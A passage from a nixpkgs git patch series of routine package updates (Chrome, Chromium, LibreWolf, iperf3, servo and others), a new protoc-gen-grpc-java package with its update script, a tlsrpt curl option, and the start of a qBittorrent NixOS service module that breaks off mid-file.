diff --git a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
index b67fd0559b34..9f86d13aa122 100644
--- a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
+++ b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
@@ -1,7 +1,7 @@
 { mkDprintPlugin }:
 mkDprintPlugin {
   description = "TypeScript/JavaScript code formatter.";
-  hash = "sha256-mAePVUsjHVo9okkozXZmwvz456YeO36ghyU4gxKJdyw=";
+  hash = "sha256-u6DpQWhPyERphKmlXOTE6NW/08YzBDWgzWTJ4JLLAjE=";
   initConfig = {
     configExcludes = [ "**/node_modules" ];
     configKey = "typescript";
@@ -16,6 +16,6 @@ mkDprintPlugin {
   };
   pname = "dprint-plugin-typescript";
   updateUrl = "https://plugins.dprint.dev/dprint/typescript/latest.json";
-  url = "https://plugins.dprint.dev/typescript-0.95.7.wasm";
-  version = "0.95.7";
+  url = "https://plugins.dprint.dev/typescript-0.95.8.wasm";
+  version = "0.95.8";
 }

From a221c91d445e3424b8d381da8fe929d294384772 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 00:38:24 +0000
Subject: [PATCH 3017/4511] dprint-plugins.dprint-plugin-typescript: 0.95.8 ->
 0.95.9

(cherry picked from commit 44743bcb6dc8622eba2d4a4eff57f7f9fb443b57)
---
 .../dp/dprint/plugins/dprint-plugin-typescript.nix        | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
index 9f86d13aa122..2bb161699272 100644
--- a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
+++ b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
@@ -1,7 +1,7 @@
 { mkDprintPlugin }:
 mkDprintPlugin {
-  description = "TypeScript/JavaScript code formatter.";
-  hash = "sha256-u6DpQWhPyERphKmlXOTE6NW/08YzBDWgzWTJ4JLLAjE=";
+  description = "TypeScript/JavaScript code formatter";
+  hash = "sha256-hn2t1y09OGcCY2fUziogOqTmVWJmLvPUBAXOaU7hTj4=";
   initConfig = {
     configExcludes = [ "**/node_modules" ];
     configKey = "typescript";
@@ -16,6 +16,6 @@ mkDprintPlugin {
   };
   pname = "dprint-plugin-typescript";
   updateUrl = "https://plugins.dprint.dev/dprint/typescript/latest.json";
-  url = "https://plugins.dprint.dev/typescript-0.95.8.wasm";
-  version = "0.95.8";
+  url = "https://plugins.dprint.dev/typescript-0.95.9.wasm";
+  version = "0.95.9";
 }

From 9136d60d02acb7a3173cb235c9a0f92c94edc3d4 Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Sun, 27 Jul 2025 20:50:41 +0200
Subject: [PATCH 3018/4511] librewolf-unwrapped: 140.0.4-1 -> 141.0-1

(cherry picked from commit 08e8f92b95fe8550ea1ba555dc399bd2fb38beb7)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 03f6d547b6a0..0bf3592670b1 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "140.0.4-1",
+  "packageVersion": "141.0-1",
   "source": {
-    "rev": "140.0.4-1",
-    "hash": "sha256-/7Ynt0mKEu/ms9B5J3xfh6I5nnmdz8xI/7bm9uURE7M="
+    "rev": "141.0-1",
+    "hash": "sha256-sgs/96soNX6kHWzXSZW0Hkh5lBoMffRMhlOa3BJoY6I="
   },
   "firefox": {
-    "version": "140.0.4",
-    "hash": "sha512-PefAhxuKRWg/XCJvs+keWX6Pie8VSyCLKlfE0+qfOctcaey9Xso7baaNN3VojSKJwTYMfREMZ7sb4c8m74zzbQ=="
+    "version": "141.0",
+    "hash": "sha512-vWmYvOknxbXBhlN71BR1/J44CYKc6tsid7s4LQLTeA0qXldJSHVnp1t8njcm+XZixOwokkvEkcWj8h4uxIKNYw=="
   }
 }

From b928e7fb85decd190c59b628a94e01ffa0156a36 Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Mon, 28 Jul 2025 20:07:03 +0200
Subject: [PATCH 3019/4511] documentation: how to update librewolf-unwrapped

(cherry picked from commit 99a3bc9ce8334f69514b576bbb520d22a81fab3b)
---
 pkgs/applications/networking/browsers/librewolf/update.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/networking/browsers/librewolf/update.nix b/pkgs/applications/networking/browsers/librewolf/update.nix
index f55e57abb065..9c210b211932 100644
--- a/pkgs/applications/networking/browsers/librewolf/update.nix
+++ b/pkgs/applications/networking/browsers/librewolf/update.nix
@@ -1,3 +1,5 @@
+# how to use
+# nix-update -u librewolf-unwrapped
 {
   writeScript,
   lib,

From c7004bfd752dbd54d1acd2c23294613925db7040 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Wed, 30 Jul 2025 06:32:49 +0000
Subject: [PATCH 3020/4511] google-chrome: 138.0.7204.168 -> 138.0.7204.183

(cherry picked from commit 87f3f67a7bf3f84ebe1f6154b50fbb71c4ee8f5c)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index e70a9db428fd..78fa8850ee98 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.168";
+    version = "138.0.7204.183";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-vfMEQOh9VZsLElld8qfeLY9B53z1AqyRTQ/7p2cxHYg=";
+      hash = "sha256-GxdfHU6pskOL0i/rmN7kwGsuLYTotL1mEw6RV7qfl50=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.169";
+    version = "138.0.7204.184";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/acwjggvog6ot2icovazewas35mgq_138.0.7204.169/GoogleChrome-138.0.7204.169.dmg";
-      hash = "sha256-58/hSldBZ3gtzjY0GCt6GkxUX97GORwTh5uEfEjxM3A=";
+      url = "http://dl.google.com/release2/chrome/acvbvqaeyyrjo6kygs27pc5y27ea_138.0.7204.184/GoogleChrome-138.0.7204.184.dmg";
+      hash = "sha256-KM9fK5zaXNCdVfCRN9b0RxIvH7VxCln4Eo9YgOEd8PY=";
     };
 
     dontPatch = true;

From c2d2283f414b5f19599a5ccf65d45dad789d3a45 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 30 Jul 2025 11:42:53 +0300
Subject: [PATCH 3021/4511] nixos/release-small: fix eval

This was just broken for ages and no one noticed.

(cherry picked from commit 2ca6167483df074dbb514fd546af74c68c8f48e0)
---
 nixos/release-small.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/release-small.nix b/nixos/release-small.nix
index ec0490427139..5a845d34f41b 100644
--- a/nixos/release-small.nix
+++ b/nixos/release-small.nix
@@ -103,7 +103,7 @@ rec {
       opensshTest
       php
       postgresql
-      python
+      python3
       release-checks
       rsyslog
       stdenv

From b3e25400ca539b50caeaef199c8ad5d4a87e04f9 Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Tue, 29 Jul 2025 10:08:01 +0530
Subject: [PATCH 3022/4511] iperf3: 3.19 -> 3.19.1

Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
(cherry picked from commit 123df8afd6af54db8204599f031540ba6574afaa)
---
 pkgs/tools/networking/iperf/3.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/networking/iperf/3.nix b/pkgs/tools/networking/iperf/3.nix
index a40da0378205..1c5381d24a7d 100644
--- a/pkgs/tools/networking/iperf/3.nix
+++ b/pkgs/tools/networking/iperf/3.nix
@@ -9,11 +9,11 @@
 
 stdenv.mkDerivation rec {
   pname = "iperf";
-  version = "3.19";
+  version = "3.19.1";
 
   src = fetchurl {
     url = "https://downloads.es.net/pub/iperf/iperf-${version}.tar.gz";
-    hash = "sha256-BAFh2hVV7HQRqdgRkQSYMO83cX1CmpTubPCEJhjg4pw=";
+    hash = "sha256-3GP4nsWB6pn4tVjY6zUQneBjgwENtaGQbCCKViugwnA=";
   };
 
   buildInputs = [ openssl ] ++ lib.optionals stdenv.hostPlatform.isLinux [ lksctp-tools ];

From 6ec9128789f9d87b7eb8bc47f1dfb0f97edc95d0 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 29 Jul 2025 23:39:19 +0200
Subject: [PATCH 3023/4511] chromium,chromedriver: 138.0.7204.168 ->
 138.0.7204.183

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_29.html

This update includes 4 security fixes.

CVEs:
CVE-2025-8292

(cherry picked from commit 9d48c58a87a36ffd33b18a02c62456c72ef85a47)
---
 .../networking/browsers/chromium/info.json    | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 7b7ff021579f..098478312d47 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "138.0.7204.168",
+    "version": "138.0.7204.183",
     "chromedriver": {
-      "version": "138.0.7204.169",
-      "hash_darwin": "sha256-I87LWl+F8nmxpIUXUT+InLFf2nZ1Sh1nAtYVLCq9r5M=",
-      "hash_darwin_aarch64": "sha256-6DoMi5gy68tuauNGvFl0QKPZnh5lY9S73+S+FNltDow="
+      "version": "138.0.7204.184",
+      "hash_darwin": "sha256-d0lo8RPTbxqcDnyyhwM9LhZ+xxKn+rpO4pCmHRlMh88=",
+      "hash_darwin_aarch64": "sha256-e5soo3SJoPCBGrZFtgpU4ms5XEwfoxR2lUT1Ep3AmWw="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "3e8d82e86e9f508e88ed406c2a24657a6c691d30",
-        "hash": "sha256-6s9mkfckhibpb+L74oPZsgvOZZT58BeSo362t/s92UI=",
+        "rev": "e90faf484ddbc033fc9bf337621761d3dd5c5289",
+        "hash": "sha256-/UFIed+S9XLmR3p8KVnIncxl3a7bIqKPLh6vcEMvAsE=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -246,8 +246,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
-        "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo="
+        "rev": "634ef4ab735f8fc717eb17935d5a0f1b9831d852",
+        "hash": "sha256-DwkvDbYKdHfpfKXYaszcK/54Zi2Q52dd9QAUR+Ex+b4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
-        "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk="
+        "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
+        "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI="
       }
     }
   },

From d3709d58bcbfbe0a7431fd90e9d043f04e635daa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 10:55:33 +0000
Subject: [PATCH 3024/4511] linuxKernel.kernels.linux_lqx: 6.15.7 -> 6.15.8

(cherry picked from commit 1ee913e5c95e87adc06246e76a3d663718b9a940)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 20f22f0cbb14..a281717b2027 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.7"; # lqx
+      version = "6.15.8"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "05pr17hqrlf4jfw3fxja9n0lfs4piy03fh4wqjhbd601sjif6akh"; # lqx
+      sha256 = "1z85h8k49acw5w1m7z6lclnr62rgr6dbi2sci7in59qkq1zfvkb9"; # lqx
       isLqx = true;
     };
   };

From a10ae85d3a75a3312093f4c0d6481fa20c613eba Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 29 Jul 2025 04:39:05 +0200
Subject: [PATCH 3025/4511] nixos/tlsrpt: configure explicit http_script

Make sure we get curl into the system, since when the tlsrpt rua is an
HTTP URL we need to be able to deliver to that.

(cherry picked from commit e0308144468a25644ee59c9ea7c90ee424419e99)
---
 nixos/modules/services/mail/tlsrpt.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
index 309ce400462c..843e1477d7e0 100644
--- a/nixos/modules/services/mail/tlsrpt.nix
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -222,6 +222,17 @@ in
               '';
             };
 
+            http_script = mkOption {
+              type = with types; nullOr str;
+              default = "${lib.getExe pkgs.curl} --silent --header 'Content-Type: application/tlsrpt+gzip' --data-binary @-";
+              defaultText = lib.literalExpression ''
+                ''${lib.getExe pkgs.curl} --silent --header 'Content-Type: application/tlsrpt+gzip' --data-binary @-
+              '';
+              description = ''
+                Call to an HTTPS client, that accepts the URL on the commandline and the request body from stdin.
+              '';
+            };
+
             sender_address = mkOption {
               type = types.str;
               example = "noreply@example.com";

From 43f3624b83fc74dbcececdf9069fa6af8c71be30 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 08:18:30 +0000
Subject: [PATCH 3026/4511] servo: 0-unstable-2025-07-21 ->
 0-unstable-2025-07-30

(cherry picked from commit fd31072dfe8607a83c7ca4d047539154de9219a0)
---
 pkgs/by-name/se/servo/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 83a853b784ba..29b378fff5d3 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -65,13 +65,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-07-21";
+  version = "0-unstable-2025-07-30";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "50603e5074064211cee253b0782cb29ae413d3ee";
-    hash = "sha256-qlIjyvrtCwnUVO12LYm52drsQJqgfOEj7rV4LgubG5E=";
+    rev = "0e180578632facc10f0e8fb29df9084369adc600";
+    hash = "sha256-4EQ15jOZNYjGmhIOJivHT8R6BeT6moGj+AI9DBq58v4=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -82,7 +82,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-kKuauc5yK6IOKDL9o+vmNLg4wyZ+24YNT5Yhn+z51jE=";
+  cargoHash = "sha256-fqIlN+6SEY0LVrUk47U12TuVoRte0oCGJhO7DHovzBM=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)

From 1fc4e150ed415250163a6c604a8f4120980c567b Mon Sep 17 00:00:00 2001
From: Petr Portnov | PROgrm_JARvis <mrjarviscraft+nix@gmail.com>
Date: Sun, 15 Jun 2025 17:35:33 +0300
Subject: [PATCH 3027/4511] protoc-gen-grpc-java: init at 1.73.0 (#415329)

(cherry picked from commit dbae6575d6b114bc87414b7676b7660791ecf2e3)
---
 .../pr/protoc-gen-grpc-java/hashes.nix        | 11 +++
 .../pr/protoc-gen-grpc-java/package.nix       | 90 +++++++++++++++++++
 .../by-name/pr/protoc-gen-grpc-java/update.sh | 33 +++++++
 3 files changed, 134 insertions(+)
 create mode 100644 pkgs/by-name/pr/protoc-gen-grpc-java/hashes.nix
 create mode 100644 pkgs/by-name/pr/protoc-gen-grpc-java/package.nix
 create mode 100755 pkgs/by-name/pr/protoc-gen-grpc-java/update.sh

diff --git a/pkgs/by-name/pr/protoc-gen-grpc-java/hashes.nix b/pkgs/by-name/pr/protoc-gen-grpc-java/hashes.nix
new file mode 100644
index 000000000000..da9182e6d068
--- /dev/null
+++ b/pkgs/by-name/pr/protoc-gen-grpc-java/hashes.nix
@@ -0,0 +1,11 @@
+{
+  linux-aarch_64 = "sha256-sgdZoaSM7LgK4DbbKPJO3FdBA37YAX86meaKDLQiOmg=";
+  linux-ppcle_64 = "sha256-k4nQGJNwtd8W4nJLyWPRhqjikczy7p7ffDIrWxkcUTA=";
+  linux-s390_64 = "sha256-fcuNlJeUmduFzqt5WaefYk3lFVmdHeSFIEkbwT2I1O0=";
+  linux-x86_32 = "sha256-KNvqGkeERd2UxzhjO/Fp6Uv7DGBt15rPGviRmH7pmno=";
+  linux-x86_64 = "sha256-7LI115E3BOz3jnHavkQBbN0hsjKuSbnXNAjXFw/D14I=";
+  osx-aarch_64 = "sha256-gAo2bcsivjDVFX5cUvzngoHgqTAPt+3Hiuynd17/KTo=";
+  osx-x86_64 = "sha256-gAo2bcsivjDVFX5cUvzngoHgqTAPt+3Hiuynd17/KTo=";
+  windows-x86_32 = "sha256-ERbksXFy4AFhZSFG9G4AMOi68EzEScBvDJFF9+rnPnU=";
+  windows-x86_64 = "sha256-wZU6on7A84fPm8xwD8pBgSk8+fkB14LdvWZXEniz8LU=";
+}
diff --git a/pkgs/by-name/pr/protoc-gen-grpc-java/package.nix b/pkgs/by-name/pr/protoc-gen-grpc-java/package.nix
new file mode 100644
index 000000000000..277a914bfc7b
--- /dev/null
+++ b/pkgs/by-name/pr/protoc-gen-grpc-java/package.nix
@@ -0,0 +1,90 @@
+{
+  lib,
+  stdenv,
+  fetchurl,
+  makeWrapper,
+  autoPatchelfHook,
+}:
+let
+  hostArch =
+    let
+      platform = stdenv.hostPlatform;
+      os =
+        if platform.isLinux then
+          "linux"
+        else if platform.isDarwin then
+          "osx"
+        else if platform.isWindows then
+          "windows"
+        else
+          throw "Unsupoprted OS \"${platform.parsed.kernel.name}\"";
+      arch =
+        if platform.isx86_32 then
+          "x86_32"
+        else if platform.isx86_64 then
+          "x86_64"
+        else if platform.isAarch64 then
+          "aarch_64"
+        else if platform.isPower64 && platform.isLittleEndian then
+          "ppcle_64"
+        else if platform.isS390x then
+          "s390_64"
+        else
+          throw "Unsupported CPU \"${platform.parsed.cpu.name}\"";
+    in
+    "${os}-${arch}";
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "protoc-gen-grpc-java";
+  version = "1.73.0";
+  src = fetchurl {
+    url = "https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/${finalAttrs.version}/protoc-gen-grpc-java-${finalAttrs.version}-${hostArch}.exe";
+    hash = (import ./hashes.nix).${hostArch} or (throw "Unsuported host arch ${hostArch}");
+  };
+  dontUnpack = true;
+  dontConfigure = true;
+  dontBuild = true;
+
+  nativeBuildInputs = [
+    makeWrapper
+    autoPatchelfHook
+  ];
+  buildInputs = [ stdenv.cc.cc ];
+
+  installPhase = ''
+    runHook preInstall
+
+    install -D $src $out/bin/protoc-gen-grpc-java
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = ./update.sh;
+
+  meta = {
+    description = "gRPC Java Codegen Plugin for Protobuf Compiler";
+    longDescription = ''
+      This generates the Java interfaces out of the service definition from a `.proto` file.
+      It works with the Protobuf Compiler (`protoc`).
+    '';
+    changelog = "https://github.com/grpc/grpc-java/releases/tag/v${finalAttrs.version}";
+    sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
+    license = lib.licenses.asl20;
+    maintainers = [ lib.maintainers.progrm_jarvis ];
+    homepage = "https://grpc.io/docs/languages/java/generated-code/";
+    platforms = [
+      # Linux
+      "x86_64-linux"
+      "i686-linux"
+      "aarch64-linux"
+      "powerpc64le-linux"
+      "s390x-linux"
+      # Darwin
+      "x86_64-darwin"
+      "aarch64-darwin"
+      # Windows
+      "x86_64-windows"
+      "i686-windows"
+    ];
+  };
+})
diff --git a/pkgs/by-name/pr/protoc-gen-grpc-java/update.sh b/pkgs/by-name/pr/protoc-gen-grpc-java/update.sh
new file mode 100755
index 000000000000..a7e62e72cea1
--- /dev/null
+++ b/pkgs/by-name/pr/protoc-gen-grpc-java/update.sh
@@ -0,0 +1,33 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl jq gnused nix
+
+set -euo pipefail
+
+ARCHS=(
+  'linux-aarch_64'
+  'linux-ppcle_64'
+  'linux-s390_64'
+  'linux-x86_32'
+  'linux-x86_64'
+  'osx-aarch_64'
+  'osx-x86_64'
+  'windows-x86_32'
+  'windows-x86_64'
+)
+HASHES_FILE=pkgs/by-name/pr/protoc-gen-grpc-java/hashes.nix
+
+version="$(
+  curl --silent --location --fail \
+    ${GITHUB_TOKEN:+-u ":${GITHUB_TOKEN}"} \
+    https://api.github.com/repos/grpc/grpc-java/releases/latest |
+    jq -r '.tag_name' |
+    sed 's/^v//'
+)"
+
+echo '{' >"${HASHES_FILE}"
+for arch in "${ARCHS[@]}"; do
+  url="https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/${version}/protoc-gen-grpc-java-${version}-${arch}.exe"
+  hash=$(nix hash convert --hash-algo sha256 --to sri "$(nix-prefetch-url "${url}")")
+  echo "  ${arch} = \"${hash}\";" >>"${HASHES_FILE}"
+done
+echo '}' >>"${HASHES_FILE}"

From 3849dd705ec0e81e3122412c751738ca0c491cfe Mon Sep 17 00:00:00 2001
From: nuko <nuko@shimeji.cafe>
Date: Sun, 26 May 2024 17:17:55 +1200
Subject: [PATCH 3028/4511] nixos/qbittorrent: init service module

nixos/qbittorrent: add default serverConfig & fix test

Migrate to runTest

Replace lib.optional with lib.optionals

nixos/qbittorrent: update release notes to 2511

(cherry picked from commit 84d174e312870ccefb9ba0dd11532bb2a58773db)
---
 .../manual/release-notes/rl-2511.section.md   |   2 +
 nixos/modules/module-list.nix                 |   1 +
 .../modules/services/torrent/qbittorrent.nix  | 238 ++++++++++++++++++
 nixos/tests/all-tests.nix                     |   1 +
 nixos/tests/qbittorrent.nix                   | 190 ++++++++++++++
 pkgs/by-name/qb/qbittorrent/package.nix       |   6 +-
 6 files changed, 437 insertions(+), 1 deletion(-)
 create mode 100644 nixos/modules/services/torrent/qbittorrent.nix
 create mode 100644 nixos/tests/qbittorrent.nix

diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md
index d165ee28f195..9f300ffdade3 100644
--- a/nixos/doc/manual/release-notes/rl-2511.section.md
+++ b/nixos/doc/manual/release-notes/rl-2511.section.md
@@ -16,6 +16,8 @@
 
 - [go-httpbin](https://github.com/mccutchen/go-httpbin), a reasonably complete and well-tested golang port of httpbin, with zero dependencies outside the go stdlib. Available as [services.go-httpbin](#opt-services.go-httpbin.enable).
 
+- [qBittorrent](https://www.qbittorrent.org/), is a bittorrent client programmed in C++ / Qt that uses libtorrent by Arvid Norberg. Available as [services.qbittorrent](#opt-services.qbittorrent.enable).
+
 ## Backward Incompatibilities {#sec-release-25.11-incompatibilities}
 
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 2ee30328579c..5466f36d476d 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -1486,6 +1486,7 @@
   ./services/torrent/magnetico.nix
   ./services/torrent/opentracker.nix
   ./services/torrent/peerflix.nix
+  ./services/torrent/qbittorrent.nix
   ./services/torrent/rtorrent.nix
   ./services/torrent/torrentstream.nix
   ./services/torrent/transmission.nix
diff --git a/nixos/modules/services/torrent/qbittorrent.nix b/nixos/modules/services/torrent/qbittorrent.nix
new file mode 100644
index 000000000000..f62750a02361
--- /dev/null
+++ b/nixos/modules/services/torrent/qbittorrent.nix
@@ -0,0 +1,238 @@
+{
+  config,
+  pkgs,
+  lib,
+  utils,
+  ...
+}:
+let
+  cfg = config.services.qbittorrent;
+  inherit (builtins) concatStringsSep isAttrs isString;
+  inherit (lib)
+    literalExpression
+    getExe
+    mkEnableOption
+    mkOption
+    mkPackageOption
+    mkIf
+    maintainers
+    escape
+    collect
+    mapAttrsRecursive
+    optionals
+    ;
+  inherit (lib.types)
+    str
+    port
+    path
+    nullOr
+    listOf
+    attrsOf
+    anything
+    submodule
+    ;
+  inherit (lib.generators) toINI mkKeyValueDefault mkValueStringDefault;
+  gendeepINI = toINI {
+    mkKeyValue =
+      let
+        sep = "=";
+      in
+      k: v:
+      if isAttrs v then
+        concatStringsSep "\n" (
+          collect isString (
+            mapAttrsRecursive (
+              path: value:
+              "${escape [ sep ] (concatStringsSep "\\" ([ k ] ++ path))}${sep}${mkValueStringDefault { } value}"
+            ) v
+          )
+        )
+      else
+        mkKeyValueDefault { } sep k v;
+  };
+  configFile = pkgs.writeText "qBittorrent.conf" (gendeepINI cfg.serverConfig);
+in
+{
+  options.services.qbittorrent = {
+    enable = mkEnableOption "qbittorrent, BitTorrent client";
+
+    package = mkPackageOption pkgs "qbittorrent-nox" { };
+
+    user = mkOption {
+      type = str;
+      default = "qbittorrent";
+      description = "User account under which qbittorrent runs.";
+    };
+
+    group = mkOption {
+      type = str;
+      default = "qbittorrent";
+      description = "Group under which qbittorrent runs.";
+    };
+
+    profileDir = mkOption {
+      type = path;
+      default = "/var/lib/qBittorrent/";
+      description = "the path passed to qbittorrent via --profile.";
+    };
+
+    openFirewall = mkEnableOption "opening both the webuiPort and torrentPort over TCP in the firewall";
+
+    webuiPort = mkOption {
+      default = 8080;
+      type = nullOr port;
+      description = "the port passed to qbittorrent via `--webui-port`";
+    };
+
+    torrentingPort = mkOption {
+      default = null;
+      type = nullOr port;
+      description = "the port passed to qbittorrent via `--torrenting-port`";
+    };
+
+    serverConfig = mkOption {
+      default = { };
+      type = submodule {
+        freeformType = attrsOf (attrsOf anything);
+      };
+      description = ''
+        Free-form settings mapped to the `qBittorrent.conf` file in the profile.
+        Refer to [Explanation-of-Options-in-qBittorrent](https://github.com/qbittorrent/qBittorrent/wiki/Explanation-of-Options-in-qBittorrent).
+        The Password_PBKDF2 format is oddly unique, you will likely want to use [this tool](https://codeberg.org/feathecutie/qbittorrent_password) to generate the format.
+        Alternatively you can run qBittorrent independently first and use its webUI to generate the format.
+
+        Optionally an alternative webUI can be easily set. VueTorrent for example:
+        ```nix
+        {
+          Preferences = {
+            WebUI = {
+              AlternativeUIEnabled = true;
+              RootFolder = "''${pkgs.vuetorrent}/share/vuetorrent";
+            };
+          };
+        }
+        ];
+        ```
+      '';
+      example = literalExpression ''
+        {
+          LegalNotice.Accepted = true;
+          Preferences = {
+            WebUI = {
+              Username = "user";
+              Password_PBKDF2 = "generated ByteArray.";
+            };
+            General.Locale = "en";
+          };
+        }
+      '';
+    };
+
+    extraArgs = mkOption {
+      type = listOf str;
+      default = [ ];
+      description = ''
+        Extra arguments passed to qbittorrent. See `qbittorrent -h`, or the [source code](https://github.com/qbittorrent/qBittorrent/blob/master/src/app/cmdoptions.cpp), for the available arguments.
+      '';
+      example = [
+        "--confirm-legal-notice"
+      ];
+    };
+  };
+  config = mkIf cfg.enable {
+    systemd = {
+      tmpfiles.settings = {
+        qbittorrent = {
+          "${cfg.profileDir}/qBittorrent/"."d" = {
+            mode = "755";
+            inherit (cfg) user group;
+          };
+          "${cfg.profileDir}/qBittorrent/config/"."d" = {
+            mode = "755";
+            inherit (cfg) user group;
+          };
+          "${cfg.profileDir}/qBittorrent/config/qBittorrent.conf"."L+" = mkIf (cfg.serverConfig != { }) {
+            mode = "1400";
+            inherit (cfg) user group;
+            argument = "${configFile}";
+          };
+        };
+      };
+      services.qbittorrent = {
+        description = "qbittorrent BitTorrent client";
+        wants = [ "network-online.target" ];
+        after = [
+          "local-fs.target"
+          "network-online.target"
